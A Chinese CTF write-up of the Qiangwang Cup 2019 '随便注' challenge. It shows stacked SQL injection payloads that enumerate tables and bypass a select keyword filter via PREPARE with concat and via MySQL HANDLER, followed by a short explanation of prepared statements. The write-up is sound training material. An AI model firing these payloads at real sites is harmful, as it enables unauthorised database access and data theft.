[强网杯2019]随便注-----堆叠注入,预编译
题解
注入1’ or 1=1
有报错,可以知道这是sql注入
注入1’ or 1=1#
成功输出了该表的所有数据,但是没有flag
' union select 1,2;#
,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。
注入
1';show databases;//查看数据库名
查看数据表
注入1';show tables from supersqli;
先看看表1919810931114514的列
1';show columns from `1919810931114514`;#
注意如果表名是纯数字要用`反引号包裹
对了看别人wp讲到查看表结构的两种方式
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
看到flag
但是select被过滤了,怎么打开flag
运用预编译
1';PREPARE test from concat('s','elect', ' * from `1919810931114514` ');EXECUTE test;#
此外再介绍一个handle
handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
打开表:
HANDLER 表名 OPEN ;查看数据:
HANDLER 表名 READ next;关闭表:
HANDLER 表名 READ CLOSE;
SQL预编译
是一种数据库查询优化技术,它允许将SQL语句模板化,通过使用占位符代替实际的参数值。这样,当相同结构的SQL语句需要多次执行时,数据库服务器只需进行一次编译,从而节省了每次执行时都进行解析和编译的性能开销。预编译不仅提高了查询速度,还有助于防止SQL注入攻击。
预编译的使用方法
在MySQL中,预编译的过程通常包括以下几个步骤:
定义预编译SQL语句:使用prepare语句创建一个预编译语句,其中包含占位符?来代替实际的参数值。 PREPARE statement_name FROM 'SELECT * FROM table WHERE column = ?';
设置参数值:使用SET命令为占位符赋值。 SET @param = value;
执行预编译SQL语句:使用EXECUTE命令执行预编译语句,并使用USING关键字指定参数。 EXECUTE statement_name USING @param;
释放预编译SQL语句:使用DEALLOCATE PREPARE命令释放预编译语句。 DEALLOCATE PREPARE statement_name;